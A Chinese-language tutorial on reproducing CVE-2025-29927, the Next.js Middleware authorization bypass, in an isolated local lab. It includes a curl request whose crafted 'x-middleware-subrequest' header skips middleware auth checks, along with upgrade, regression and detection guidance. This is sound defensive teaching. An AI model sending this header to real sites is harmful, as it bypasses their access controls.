×
本地靶场中的请求经过多层 Middleware,并在修复后的防护边界被阻断

授权边界:本文只用于你自己搭建的本地靶场或获得书面授权的系统。不要向公网资产发送验证请求。

CVE-2025-29927 是 Next.js Middleware 鉴权绕过漏洞。受影响应用如果只在 Middleware 中做权限判断,特制请求可能跳过这层检查。GitHub CNA 给出的 CVSS 3.1 评分为 9.1。官方修复版本包括 12.3.5、13.5.9、14.2.25 和 15.2.3。

一、实验目标与隔离要求

  • 靶场只监听 127.0.0.1,不要映射到公网。
  • 使用虚构会话值,不放入真实账号、Cookie 或密钥。
  • 先记录未授权请求被重定向,再验证异常请求是否绕过,最后升级并做回归。

二、准备受影响版本

以下示例使用 14.2.24。请在一次性目录中操作,完成后删除整个实验目录。

npx create-next-app@14.2.24 next-middleware-lab
cd next-middleware-lab
npm ls next

创建 middleware.js,仅允许带有虚构实验 Cookie 的请求进入 /admin

import { NextResponse } from 'next/server';

export function middleware(request) {
  const session = request.cookies.get('session')?.value;
  if (session !== 'lab-admin') {
    return NextResponse.redirect(new URL('/login', request.url));
  }
  return NextResponse.next();
}

export const config = { matcher: ['/admin/:path*'] };

再创建一个只显示“LAB ADMIN PAGE”的本地页面。启动时显式绑定回环地址:

npm run dev -- --hostname 127.0.0.1

三、建立正常对照

先发送普通未登录请求。预期结果是 307/308 重定向到 /login;带实验 Cookie 的请求才应返回 200。

curl -i http://127.0.0.1:3000/admin
curl -i --cookie "session=lab-admin" http://127.0.0.1:3000/admin

四、在本地验证绕过现象

对受影响版本,向本地靶场加入框架内部使用的请求头后再次访问。验证成功的判断不是“拿到系统权限”,而是未携带实验 Cookie 却从重定向变成 200,并出现虚构页面标记

curl -i   -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"   http://127.0.0.1:3000/admin

如果普通请求返回重定向,而上述本地请求返回 200,说明权限控制只依赖 Middleware 时存在绕过风险。不要把请求目标替换成他人的域名或 IP。

五、升级并做修复对照

npm install next@14.2.25
npm ls next
npm run build
npm run dev -- --hostname 127.0.0.1

重复前三个请求。修复后的关键验收结果是:没有实验 Cookie 的两种请求都被拒绝或重定向,只有合法实验 Cookie 可以访问。

六、生产防护与检测

  • 首选:升级到官方修复版本或更高受支持版本。
  • 临时缓解:在反向代理/WAF 丢弃来自外部客户端的 x-middleware-subrequest 请求头。
  • 纵深防御:敏感 API 和数据层再次校验会话与权限,不把 Middleware 当成唯一授权边界。
  • 日志检测:搜索外部来源携带该请求头、同时访问后台路径并获得 2xx 的记录。
  • 回归测试:把“无凭证、伪造内部头、合法凭证”三组用例加入 CI。

七、参考资料

一个完整的复现记录应同时保留:受影响版本、正常对照、异常现象、升级版本、修复后的回归结果和日志检测规则。只有“跑通请求”而没有修复验证,不算完成。

作者

open_red@yeah.net

相关文章